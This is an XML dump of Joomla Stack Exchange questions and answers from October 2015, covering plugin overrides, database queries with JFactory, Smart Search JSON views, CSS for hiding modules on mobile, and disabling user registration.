  <row Id="14033" PostTypeId="1" CreationDate="2015-10-24T08:19:31.017" Score="1" ViewCount="978" Body="&lt;p&gt;Im trying to create a plugin to override a Joomla class, which otherwise is impossible to override. Here are my codes:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;comoverride.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;comoverride&quot;&amp;gt;comoverride.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;comoverride.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;  &amp;lt;/files&amp;gt;&#xA;  &amp;lt;config&amp;gt;&#xA;  &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(of course i have my information in my  tag and the other necessary information)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;comoverride.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);&#xA;jimport('joomla.application.component.helper');&#xA;class comcontent extends JPlugin{&#xA;&#xA;    public function __construct(&amp;amp;$subject, $config = array()) {&#xA;&#xA;         parent::__construct($subject, $config);&#xA;     }&#xA;&#xA;     public function  onAfterRoute () {&#xA;&#xA;        $app = JFactory::getApplication();&#xA;        if('com_content' == JRequest::getCMD('option')  &amp;amp;&amp;amp; !$app-&amp;gt;isAdmin()) {&#xA;            $template = $app-&amp;gt;getTemplate();&#xA;&#xA;             require_once(JPATH_SITE.'/templates/'.$template.'/code/com_content/models/articles.php');&#xA;&#xA;        }&#xA;    }  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im trying to override the articles.php file, where the class &quot;ContentModelArticles&quot; is in it. but it doesn't seem to work at all unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please test it for me?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="3650" LastEditDate="2016-03-08T00:22:13.857" LastActivityDate="2017-08-01T15:52:11.150" Title="Overriding a class by custom plugin" Tags="|joomla-3.x|overrides|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14036" PostTypeId="1" AcceptedAnswerId="14038" CreationDate="2015-10-25T09:42:22.427" Score="1" ViewCount="793" Body="&lt;p&gt;I am trying to send information from a  to a DB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Jfactory. This is the HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;task&quot; class=&quot;form-control&quot; id=&quot;task&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['task']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the HTML that injects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $query = $db-&amp;gt;getQuery(true);&#xA; $query-&amp;gt;insert($db-&amp;gt;quoteName('#__reports'))&#xA;       -&amp;gt;columns(array('client', 'site', 'percent', 'tarea', 'time', 'assignto'))&#xA;       -&amp;gt;values(implode(',', array($db-&amp;gt;quote($client), $db-&amp;gt;quote($site), $db-&amp;gt;quote($percent), $db-&amp;gt;quote($task), $db-&amp;gt;quote($getDate), $db-&amp;gt;quote($userAssign)) ));&#xA; $db-&amp;gt;setQuery($query);&#xA; $result = $db-&amp;gt;query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The weird thing is that everytime I put a &quot;.&quot; (point) I got this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;===&gt;  Invalid controller: name='dasdada', format=''&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MySQL field is on TEXT and I have tried LONGTEXT and Varchar&lt;/p&gt;&#xA;" OwnerUserId="7152" LastEditorUserId="159" LastEditDate="2015-10-26T20:08:26.330" LastActivityDate="2015-10-26T20:08:26.330" Title="Controller error: Invalid controller: name='dasdada'" Tags="|controller|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14037" PostTypeId="1" CreationDate="2015-10-25T12:30:01.230" Score="1" ViewCount="6064" Body="&lt;p&gt;I want to run an UPDATE query on a record after selecting it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;// Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;   -&amp;gt;select(array('p.*', 'u.id', 'u.name' ,'pr.*'))&#xA;   -&amp;gt;from($db-&amp;gt;quoteName('#__chichi_photos', 'p'))&#xA;   -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__users', 'u') . ' ON (' . $db-&amp;gt;quoteName('p.userID') . ' = ' . $db-&amp;gt;quoteName('u.id') . ')')&#xA;   -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__chichi_profile', 'pr') . ' ON (' . $db-&amp;gt;quoteName('pr.userID') . ' = ' . $db-&amp;gt;quoteName('u.id') . ')')&#xA;   -&amp;gt;where($db-&amp;gt;quoteName('p.id') .'=' . $photoID .'');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadRow();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to run an UPDATE query on a field in #__chichi_photos table that has an id in the result and if possible do it with a single query statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what i want to do is update &quot;hits&quot; column on the field after it is selected. Thank You.&lt;/p&gt;&#xA;" OwnerUserId="7083" LastActivityDate="2018-11-23T00:04:28.480" Title="Run UPDATE query on SELECT query result" Tags="|joomla-3.x|php|mysql|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14038" PostTypeId="2" ParentId="14036" CreationDate="2015-10-25T12:58:27.003" Score="1" Body="&lt;p&gt;It's probably because of textarea name, don't use 'task' which is in use for controller routing requests, try &quot;mytask&quot; or whatever, and update references elsewhere in the code&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2015-10-25T12:58:27.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14039" PostTypeId="2" ParentId="14037" CreationDate="2015-10-25T13:00:53.817" Score="2" Body="&lt;p&gt;You can use &lt;code&gt;$query-&amp;gt;clear();&lt;/code&gt; which will clear the data from your first query, allowing you to then use your &lt;code&gt;update&lt;/code&gt; query, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;   -&amp;gt;select(array('p.*', 'u.id', 'u.name' ,'pr.*'))&#xA;   -&amp;gt;from($db-&amp;gt;quoteName('#__chichi_photos', 'p'))&#xA;   -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__users', 'u') . ' ON (' . $db-&amp;gt;quoteName('p.userID') . ' = ' . $db-&amp;gt;quoteName('u.id') . ')')&#xA;   -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__chichi_profile', 'pr') . ' ON (' . $db-&amp;gt;quoteName('pr.userID') . ' = ' . $db-&amp;gt;quoteName('u.id') . ')')&#xA;   -&amp;gt;where($db-&amp;gt;quoteName('p.id') .'=' . $photoID .'');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadRow();&#xA;&#xA;&#xA;// SECOND PART OF THE QUERY&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;clear();&#xA;&#xA;$fields = array(&#xA;    $db-&amp;gt;quoteName('hits') . ' = ' . $db-&amp;gt;quote($results[0]),&#xA;);     &#xA;$conditions = array( &#xA;    $db-&amp;gt;quoteName('id') . ' = ' . $db-&amp;gt;quote($results[1])&#xA;);&#xA;&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName('#__chichi_photos'))&#xA;      -&amp;gt;set($fields)&#xA;      -&amp;gt;where($conditions);&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;try&#xA;{&#xA;    $db-&amp;gt;execute();&#xA;}&#xA;catch (RuntimeException $e)&#xA;{&#xA;    $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will probably need to change &lt;code&gt;$results[0]&lt;/code&gt; and &lt;code&gt;$results[0]&lt;/code&gt; that the indexes that your first query outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-25T13:00:53.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14040" PostTypeId="1" CreationDate="2015-10-25T15:22:31.897" Score="3" ViewCount="289" Body="&lt;p&gt;Is it possible to call the Smart Search &quot;engine&quot; from a custom component, hopefully with AJAX?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our component has an exhaustive amount of content that needs to be searched from within the component itself, and I'd like to leverage the &quot;smarts&quot; of com_finder without having to start at the the com_finder default page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried CURL and AJAX, but all I've been able to retrieve is the full page that com_finder would normally render.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2016-01-23T18:18:00.607" Title="Can I access/use Joomla's Smart Search results in my custom component?" Tags="|smartsearch|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14041" PostTypeId="2" ParentId="14023" CreationDate="2015-10-25T17:01:58.480" Score="2" Body="&lt;p&gt;Joomla is flexible and relaxed with the physical storage of Table-Classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dirty way (I think you do not use a debugger) is to rewrite the following line &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$paths = self::addIncludePath();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;var_dump($paths = self::addIncludePath());&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you will see the paths where the Table-Class are stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3rd-party components tells Joomla where their own tables are located. Mostly like the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JTable::addIncludePath('/administrator/components/&lt;em&gt;componentname&lt;/em&gt;/tables');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are searching for a 3rd-party component table, have a look in the /administrator/&lt;em&gt;componentname&lt;/em&gt;/tables&lt;/p&gt;&#xA;" OwnerUserId="5594" LastEditorUserId="115" LastEditDate="2016-04-23T02:00:43.943" LastActivityDate="2016-04-23T02:00:43.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14042" PostTypeId="2" ParentId="14040" CreationDate="2015-10-25T17:05:40.543" Score="2" Body="&lt;p&gt;I'm still interested in a better answer since this solution tinkers with the core installation, but I added the below file to get what I needed, with the following examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;index.php?option=com_finder&amp;amp;view=search&amp;amp;format=json&amp;amp;q=%22my+searched+phrase%22&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;index.php?option=com_finder&amp;amp;view=search&amp;amp;format=json&amp;amp;q=my+keywords+to+find&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;index.php?option=com_finder&amp;amp;view=search&amp;amp;format=json&amp;amp;q=my+keywords+to+find&amp;amp;limit=10&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;components\com_finder\views\search\view.json.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;/**&#xA;* Search json view class for the Finder package.&#xA;*/&#xA;class FinderViewSearch extends JViewLegacy&#xA;{&#xA;    public function display($tpl = null)&#xA;    {&#xA;        // Get the application&#xA;        $app = JFactory::getApplication();&#xA;        JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');&#xA;&#xA;        // Get view data.&#xA;        $state = $this-&amp;gt;get('State');&#xA;        $query = $this-&amp;gt;get('Query');&#xA;        $results = $this-&amp;gt;get('Results');&#xA;&#xA;        // Push out the query data.&#xA;        if (empty($results))&#xA;            $results = array();&#xA;        $data['results']        = $results;&#xA;        $data['explained_html'] = JHtml::_('query.explained', $query);&#xA;        $data['explained']      = strip_tags($data['explained_html']);&#xA;        $data['params']         = $state-&amp;gt;get('params');&#xA;        $data['query']          = $this-&amp;gt;get('Query');&#xA;&#xA;        header('Content-Type: application/json');&#xA;        $response = new JResponseJson($data, 'Search returned '.count($results).' results' ,false);&#xA;        echo $response;&#xA;        $app-&amp;gt;close();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-10-25T17:05:40.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14043" PostTypeId="2" ParentId="13999" CreationDate="2015-10-25T17:13:47.933" Score="2" Body="&lt;p&gt;The Basic-Question is: How did you construct your component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While displaying the v3, joomla/pathway must know the chain from v1 to v2 to v3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The v3 example does not populate the v2 item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have extract from v3-Item the parent such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$v3Item-&amp;gt;classid&#xA;&#xA;$pathway = $this-&amp;gt;_app-&amp;gt;getPathway();&#xA;&#xA;$pathway-&amp;gt;addItem(&quot;Classes&quot;, &quot;index.php?option=com_example&amp;amp;view=v2&amp;amp;classid={$v3Item-&amp;gt;classid}&amp;amp;Itemid=107&quot;)&#xA;&#xA;$pathway-&amp;gt;addItem(&quot;Single Subject&quot;, &quot;index.php?option=com_example&amp;amp;view=v3&amp;amp;subid=1&amp;amp;Itemid=107&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5594" LastActivityDate="2015-10-25T17:13:47.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14045" PostTypeId="1" AcceptedAnswerId="14052" CreationDate="2015-10-25T23:51:08.800" Score="1" ViewCount="433" Body="&lt;p&gt;i want to hide the right module from the mobile device, i have used several techniques but no one work for me.&#xA;This is my website &#xA;&lt;a href=&quot;http://www.healthliteracyhub.com&quot; rel=&quot;nofollow&quot;&gt;http://www.healthliteracyhub.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have used this template &lt;a href=&quot;http://globbersthemes.com/livedemo/hurlington&quot; rel=&quot;nofollow&quot;&gt;http://globbersthemes.com/livedemo/hurlington&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6854" LastActivityDate="2016-07-27T12:42:26.917" Title="How to remove module on mobile device" Tags="|module|templates|extensions|module-display|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14046" PostTypeId="1" CreationDate="2015-10-26T07:10:28.660" Score="0" ViewCount="148" Body="&lt;p&gt;I created a script that sends an email to the user when they register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = JFactory::getMailer()-&amp;gt;sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the result is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;p&amp;gt;&amp;amp;lt;html&amp;amp;gt;&amp;lt;br /&amp;gt;&amp;amp;lt;head&amp;amp;gt;&amp;lt;br /&amp;gt;&amp;amp;lt;/head&amp;amp;gt;&amp;lt;br /&amp;gt;&amp;amp;lt;body&amp;amp;gt;&amp;lt;br /&amp;gt;testing&amp;lt;br /&amp;gt;&amp;amp;lt;/body&amp;amp;gt;&amp;lt;br /&amp;gt;&amp;amp;lt;/html&amp;amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's required for the correct output?&lt;/p&gt;&#xA;" OwnerUserId="7014" LastEditorUserId="168" LastEditDate="2015-10-26T09:14:37.240" LastActivityDate="2015-12-01T00:03:52.153" Title="Email Content only showing the HTML tags" Tags="|joomla-3.x|php|jmail|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14047" PostTypeId="1" AcceptedAnswerId="14049" CreationDate="2015-10-26T09:53:36.260" Score="9" ViewCount="16552" Body="&lt;p&gt;I administer a website which does not require  users to register. The only user that is needed is the Super User. The problem is that I found a large number of new registered users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I want to disable the ability to register new users and delete existing ones, except Super User. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a start I made some steps, I installed two verification steps in a try to block and delete users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I faced a problem when I tried to erase or block users, nothing happened without displaying any error.&lt;/p&gt;&#xA;" OwnerUserId="45" LastEditorUserId="126" LastEditDate="2017-01-14T12:02:59.363" LastActivityDate="2017-08-24T19:38:48.617" Title="How to stop (fake) users from registering on my website?" Tags="|joomla-3.x|joomla-2.5|user|security|registration|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14048" PostTypeId="2" ParentId="14045" CreationDate="2015-10-26T10:26:16.600" Score="2" Body="&lt;p&gt;It doesn't look like the template developer has much documentation on their website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This template does not appear to use bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding these lines to the &lt;code&gt;/templates/hurlington/css/style.css&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media only screen and (max-width: 720px) {&#xA;  #right {display: none;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or ask the developer for help (there's a contact and support link in the footer of the developer website).&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-10-26T10:26:16.600" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14049" PostTypeId="2" ParentId="14047" CreationDate="2015-10-26T12:23:43.140" Score="11" Body="&lt;p&gt;Newer versions of Joomla 3.x disable User Registration by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your version of Joomla was installed before this change, you probably have User Registration enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User Registration can be disabled by setting &lt;code&gt;Users -&amp;gt; Manage -&amp;gt; Options -&amp;gt; Allow User Registration&lt;/code&gt; to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then delete all users except the Super Administrator account.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-10-26T12:23:43.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14051" PostTypeId="2" ParentId="14045" CreationDate="2015-10-26T13:14:44.877" Score="2" Body="&lt;p&gt;You could create a new module class for this in /yourtemplate/css/custom.css (if you don't have that file create a new one) with something like,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.myclass {&#xA;display: block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then to hide on mobile&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width:480px) {&#xA;.myclass {&#xA;display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I forgot to mention, this method will allow you to hide any module from displaying on mobile, just use the class on each module you want to hide.&lt;/p&gt;&#xA;" OwnerUserId="7160" LastEditorUserId="7160" LastEditDate="2015-10-26T13:26:44.713" LastActivityDate="2015-10-26T13:26:44.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14052" PostTypeId="2" ParentId="14045" CreationDate="2015-10-26T13:41:00.973" Score="-1" Body="&lt;p&gt;In /yourtemplate/css/custom.css add the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width:480px) {&#xA;#left ul li:before, #right ul li:before {&#xA;display: none !important;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the &quot;480px&quot; to whatever size you need this to be hidden from. If you want to hide this on all resolutions you can use the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#left ul li:before, #right ul li:before {&#xA;display: none !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7160" LastEditorUserId="7160" LastEditDate="2016-07-27T12:42:26.917" LastActivityDate="2016-07-27T12:42:26.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14053" PostTypeId="1" AcceptedAnswerId="14055" CreationDate="2015-10-26T13:45:17.340" Score="0" ViewCount="56" Body="&lt;p&gt;I have the following php,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $items_position = $helper-&amp;gt;get('position');&#xA;  $mods = JModuleHelper::getModules($items_position);&#xA;  $count = count($mods); &#xA;&#xA;  $doc = JFactory::getDocument();&#xA;  $doc-&amp;gt;addScript (T3_TEMPLATE_URL . '/acm/container-slideshow/js/landing/jquery.easing.js');&#xA;  $doc-&amp;gt;addScript (T3_TEMPLATE_URL.'/acm/container-slideshow/js/landing/jquery.mousewheel.min.js');&#xA;  $doc-&amp;gt;addScript (T3_TEMPLATE_URL.'/acm/container-slideshow/js/landing/jquery.singular.js');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;style-1 block-landing&quot;&amp;gt;&#xA;  &amp;lt;?php $i = 1; foreach ($mods as $mod) : ?&amp;gt;&#xA;  &amp;lt;div class=&quot;block-landing-item &amp;lt;?php if (isset($animation)) echo $animation; ?&amp;gt;&quot; id=&quot;block-landing-item-&amp;lt;?php echo $mod-&amp;gt;id; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;      echo JModuleHelper::renderModule($mod);&#xA;  ?&amp;gt;&#xA;&#xA;  &amp;lt;?php if (($i==$count-1) &amp;amp;&amp;amp; $helper-&amp;gt;get('enable-leave-slide')): ?&amp;gt;&#xA;    &amp;lt;a class=&quot;arrow-bottom block-landing-next&quot; href=&quot;#&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-long-arrow-down&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php $i++; endforeach; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;  &amp;lt;div class=&quot;mod-nav&quot;&amp;gt;&#xA;      &amp;lt;ul class=&quot;block-landing-nav&quot;&amp;gt;&#xA;          &amp;lt;?php $i = 0; foreach ($mods as $mod) : ?&amp;gt;&#xA;          &amp;lt;li class=&quot;mod-nav-item&quot;&amp;gt;&amp;lt;a href=&quot;#block-landing-item-&amp;lt;?php echo $mod-&amp;gt;id; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $mod-&amp;gt;id; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;?php $i++; endforeach; ?&amp;gt;&#xA;          &amp;lt;?php if($helper-&amp;gt;get('enable-leave-slide')): ?&amp;gt;&#xA;&#xA;          &amp;lt;?php endif; ?&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;!-- /mod-nav --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;    (function($){&#xA;        var iOS = parseFloat(('' + (/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent) || [0,''])[1]).replace('undefined', '3_2').replace('_', '.').replace('_', '')) || false;&#xA;        if(!(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) || iOS)) {&#xA;            var slide = $('.block-landing');&#xA;              var parent = slide.parents('#t3-section');&#xA;              slide.singular({&#xA;                  section: '.block-landing-item',&#xA;                  nav: '.block-landing-nav',&#xA;                  prev: '.block-landing-prev',&#xA;                  next: '.block-landing-next',&#xA;                  navActiveClass: 'block-landing-active',&#xA;                  scrollSpeed: 600,&#xA;                  mousewheel: true,&#xA;                  easing: 'easeInOutQuart',&#xA;                  scrollEnd: function(elem) {&#xA;                      if ($('.block-landing-nav .block-landing-active').hasClass('sec-last')) {&#xA;                          $('#sec-last').animate({&#xA;                              height: 0,&#xA;                              opacity: 0&#xA;                          }, 400, function() {&#xA;                              parent.addClass('slide-hide');&#xA;                              $('html, body').css('overflow', 'unset');&#xA;                          });&#xA;                      }&#xA;                  }&#xA;              });&#xA;&#xA;              $(window).on('mousewheel', function(e, delta) {&#xA;                  if(delta &amp;lt; -0.8) {&#xA;&#xA;                  }&#xA;                  if(delta &amp;gt; 0.8) {&#xA;                      if ($(this).scrollTop() == 0) {&#xA;                          parent.removeClass('slide-hide');&#xA;                          $('.block-landing-prev', '#sec-last').click();&#xA;                          $('html, body').css('overflow', 'hidden');&#xA;                      }&#xA;                  }&#xA;              });&#xA;        } else {&#xA;            $('.home-landing').css('overflow','unset');&#xA;            $('.block-landing').css('position','static');&#xA;            $('.block-landing &amp;gt; div').css('height','auto!important');&#xA;            $('.block-landing-nav').css('display','none');&#xA;        }&#xA;    })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is used to generate a little arrow that points down to let you know that you need to scroll in my container slideshow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the little arrow only shows on the last slide item. It should show on all of the slides except from the last slide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't suppose anyone could help me to display this on all but last?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Richard&lt;/p&gt;&#xA;" OwnerUserId="7160" LastActivityDate="2015-10-26T14:28:47.633" Title="Container slideshow show arrow on all but last" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14054" PostTypeId="1" AcceptedAnswerId="14058" CreationDate="2015-10-26T14:28:28.413" Score="0" ViewCount="799" Body="&lt;p&gt;On a project of mine, I've recently moved from native PDO to the Joomla Database Framework package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before, I prepared the following statement to count the number of rows from multiple tables &lt;strong&gt;(simplified version&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SHOW TABLES LIKE '%password%'&#xA;&#xA;SELECT SUM(rowcount) &#xA;FROM ( &#xA;    SELECT COUNT(1) AS rowcount &#xA;        FROM password-table-one&#xA;        UNION ALL SELECT COUNT(1) &#xA;        FROM password-table-two&#xA;    ) AS counts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this using the Joomla Database Framework package (or less confusingly, just a standard Joomla database query)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;could&lt;/strong&gt; potentially use &lt;code&gt;COUNT()&lt;/code&gt; to count the number of ID's from each table, but seeing as the full query contains 10 tables with 30+ rows (and growing), I believe this could be a performance impact.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-02-08T18:14:37.930" Title="Count rows from multiple database tables" Tags="|database|joomla-framework|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14055" PostTypeId="2" ParentId="14053" CreationDate="2015-10-26T14:28:47.633" Score="1" Body="&lt;p&gt;I think that in that part of the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php if (($i==$count-1) &amp;amp;&amp;amp; $helper-&amp;gt;get('enable-leave-slide')): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$i == $count-1 will be true only in the last slide and that is way it shows only in that case. you may change the line for this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php if ($helper-&amp;gt;get('enable-leave-slide')): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this will help ypu&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-10-26T14:28:47.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
